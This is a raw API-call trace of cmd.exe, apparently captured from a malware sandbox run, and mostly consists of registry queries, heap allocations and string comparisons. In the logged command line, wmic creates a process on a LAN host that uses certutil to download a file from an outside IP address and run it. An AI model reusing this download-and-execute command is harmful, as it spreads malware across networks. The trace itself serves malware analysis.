HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0092.310] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28f7a4 | out: phkResult=0x28f7a4*=0x0) returned 0x2 [0092.310] VirtualQuery (in: lpAddress=0x28f7db, lpBuffer=0x28f774, dwLength=0x1c | out: lpBuffer=0x28f774*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0092.310] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28f774, dwLength=0x1c | out: lpBuffer=0x28f774*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0092.310] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28f774, dwLength=0x1c | out: lpBuffer=0x28f774*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0092.310] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28f774, dwLength=0x1c | out: lpBuffer=0x28f774*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0092.310] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28f774, dwLength=0x1c | out: lpBuffer=0x28f774*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x120000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0092.311] GetConsoleOutputCP () returned 0x1b5 [0092.311] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0092.311] SetConsoleCtrlHandler (HandlerRoutine=0x4aa3e72a, Add=1) returned 1 [0092.311] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.311] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0092.311] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.311] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0092.311] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.311] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0092.312] _get_osfhandle (_FileHandle=0) returned 0x3 [0092.312] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0092.312] _get_osfhandle (_FileHandle=0) returned 0x3 [0092.312] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0092.607] GetEnvironmentStringsW () returned 0x5621a0* [0092.607] GetProcessHeap () returned 0x550000 [0092.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xaca) returned 0x562c78 [0092.607] FreeEnvironmentStringsW (penv=0x5621a0) returned 1 [0092.607] GetProcessHeap () returned 0x550000 [0092.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x4) returned 0x561880 [0092.607] GetEnvironmentStringsW () returned 0x5621a0* [0092.607] GetProcessHeap () returned 0x550000 [0092.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xaca) returned 0x563750 [0092.607] FreeEnvironmentStringsW (penv=0x5621a0) returned 1 [0092.607] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e714 | out: phkResult=0x28e714*=0x68) returned 0x0 [0092.607] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x0, lpData=0x28e720*=0x0, lpcbData=0x28e718*=0x1000) returned 0x2 [0092.607] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x1, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x0, lpData=0x28e720*=0x1, lpcbData=0x28e718*=0x1000) returned 0x2 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x0, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x40, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x40, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x0, lpData=0x28e720*=0x40, lpcbData=0x28e718*=0x1000) returned 0x2 [0092.608] RegCloseKey (hKey=0x68) returned 0x0 [0092.608] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e714 | out: phkResult=0x28e714*=0x68) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x0, lpData=0x28e720*=0x40, lpcbData=0x28e718*=0x1000) returned 0x2 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x1, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x0, lpData=0x28e720*=0x1, lpcbData=0x28e718*=0x1000) returned 0x2 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x0, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x9, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x4, lpData=0x28e720*=0x9, lpcbData=0x28e718*=0x4) returned 0x0 [0092.608] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e71c, lpData=0x28e720, lpcbData=0x28e718*=0x1000 | out: lpType=0x28e71c*=0x0, lpData=0x28e720*=0x9, lpcbData=0x28e718*=0x1000) returned 0x2 [0092.608] RegCloseKey (hKey=0x68) returned 0x0 [0092.608] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c819e [0092.608] srand (_Seed=0x5e1c819e) [0092.608] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" [0092.608] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" [0092.609] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0092.609] GetProcessHeap () returned 0x550000 [0092.609] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x5621a0 [0092.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5621a8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0092.609] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0092.609] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0092.609] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0092.609] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0092.609] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0092.609] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0092.609] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0092.609] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0092.609] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0092.609] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0092.609] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0092.609] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0092.609] GetProcessHeap () returned 0x550000 [0092.609] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x562c78 | out: hHeap=0x550000) returned 1 [0092.609] GetEnvironmentStringsW () returned 0x5623b8* [0092.609] GetProcessHeap () returned 0x550000 [0092.609] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xae2) returned 0x564d18 [0092.610] FreeEnvironmentStringsW (penv=0x5623b8) returned 1 [0092.610] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.610] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0092.610] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0092.610] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0092.610] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0092.610] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0092.610] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0092.610] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0092.610] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0092.610] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0092.610] GetProcessHeap () returned 0x550000 [0092.610] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x54) returned 0x565808 [0092.610] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f4e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0092.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28f4e0, lpFilePart=0x28f4dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f4dc*="Desktop") returned 0x25 [0092.610] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0092.610] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f25c | out: lpFindFileData=0x28f25c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x562020 [0092.610] FindClose (in: hFindFile=0x562020 | out: hFindFile=0x562020) returned 1 [0092.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f25c | out: lpFindFileData=0x28f25c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x562020 [0092.610] FindClose (in: hFindFile=0x562020 | out: hFindFile=0x562020) returned 1 [0092.611] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0092.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f25c | out: lpFindFileData=0x28f25c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68549420, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x68549420, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x562020 [0092.611] FindClose (in: hFindFile=0x562020 | out: hFindFile=0x562020) returned 1 [0092.611] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0092.611] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0092.611] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0092.611] GetProcessHeap () returned 0x550000 [0092.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564d18 | out: hHeap=0x550000) returned 1 [0092.611] GetEnvironmentStringsW () returned 0x564228* [0092.611] GetProcessHeap () returned 0x550000 [0092.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb36) returned 0x565868 [0092.611] FreeEnvironmentStringsW (penv=0x564228) returned 1 [0092.611] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0092.611] GetProcessHeap () returned 0x550000 [0092.611] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x565808 | out: hHeap=0x550000) returned 1 [0092.611] GetProcessHeap () returned 0x550000 [0092.611] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x400e) returned 0x5663a8 [0092.612] GetProcessHeap () returned 0x550000 [0092.612] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x132) returned 0x550ff0 [0092.612] GetProcessHeap () returned 0x550000 [0092.612] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5663a8 | out: hHeap=0x550000) returned 1 [0092.612] GetConsoleOutputCP () returned 0x1b5 [0092.612] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0092.612] GetUserDefaultLCID () returned 0x409 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa44950, cchData=8 | out: lpLCData=":") returned 2 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f620, cchData=128 | out: lpLCData="0") returned 2 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f620, cchData=128 | out: lpLCData="0") returned 2 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f620, cchData=128 | out: lpLCData="1") returned 2 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa44940, cchData=8 | out: lpLCData="/") returned 2 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa44930, cchData=8 | out: lpLCData=".") returned 2 [0092.613] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa44920, cchData=8 | out: lpLCData=",") returned 2 [0092.613] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0092.614] GetProcessHeap () returned 0x550000 [0092.614] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20c) returned 0x562ef8 [0092.614] GetConsoleTitleW (in: lpConsoleTitle=0x562ef8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0092.615] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0092.615] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0092.615] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0092.615] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0092.615] GetProcessHeap () returned 0x550000 [0092.615] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x400a) returned 0x5663a8 [0092.615] GetProcessHeap () returned 0x550000 [0092.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5663a8 | out: hHeap=0x550000) returned 1 [0092.615] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0092.616] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0092.616] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0092.616] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0092.616] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0092.616] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0092.616] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0092.616] GetProcessHeap () returned 0x550000 [0092.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x551130 [0092.616] GetProcessHeap () returned 0x550000 [0092.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x12) returned 0x551190 [0092.619] GetProcessHeap () returned 0x550000 [0092.619] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x126) returned 0x563110 [0092.620] GetConsoleTitleW (in: lpConsoleTitle=0x28f318, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0092.620] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0092.620] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0092.620] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0092.620] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0092.620] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0092.620] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0092.620] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0092.620] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0092.620] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0092.620] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0092.620] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0092.621] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0092.621] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0092.621] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0092.621] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0092.621] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0092.621] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0092.621] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0092.621] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0092.621] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0092.621] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0092.621] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0092.621] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0092.621] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0092.621] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0092.621] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0092.621] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0092.621] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0092.621] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0092.621] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0092.621] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0092.621] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0092.621] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0092.621] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0092.621] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0092.621] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0092.621] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0092.621] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0092.621] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0092.621] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0092.621] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0092.621] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0092.621] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0092.621] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0092.621] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0092.621] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0092.622] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0092.622] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0092.622] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0092.622] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0092.622] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0092.622] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0092.622] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0092.622] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0092.622] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0092.622] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0092.622] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0092.622] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0092.622] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0092.622] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0092.622] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0092.622] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0092.622] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0092.622] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0092.622] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0092.622] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0092.622] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0092.622] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0092.622] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0092.622] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0092.622] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0092.622] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0092.622] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0092.622] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0092.622] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0092.622] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0092.622] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0092.622] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0092.622] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0092.622] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0092.623] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0092.623] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0092.623] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0092.623] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0092.623] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0092.623] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0092.623] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0092.623] GetProcessHeap () returned 0x550000 [0092.623] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x563240 [0092.623] GetProcessHeap () returned 0x550000 [0092.623] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x130) returned 0x563458 [0092.623] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0092.623] GetProcessHeap () returned 0x550000 [0092.623] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x418) returned 0x564228 [0092.623] SetErrorMode (uMode=0x0) returned 0x0 [0092.623] SetErrorMode (uMode=0x1) returned 0x0 [0092.623] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x564230, lpFilePart=0x28ee38 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28ee38*="Desktop") returned 0x25 [0092.623] SetErrorMode (uMode=0x0) returned 0x1 [0092.623] GetProcessHeap () returned 0x550000 [0092.623] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564228, Size=0x5e) returned 0x564228 [0092.623] GetProcessHeap () returned 0x550000 [0092.623] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x564228) returned 0x5e [0092.624] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0092.624] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0092.624] GetProcessHeap () returned 0x550000 [0092.624] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x120) returned 0x563590 [0092.624] 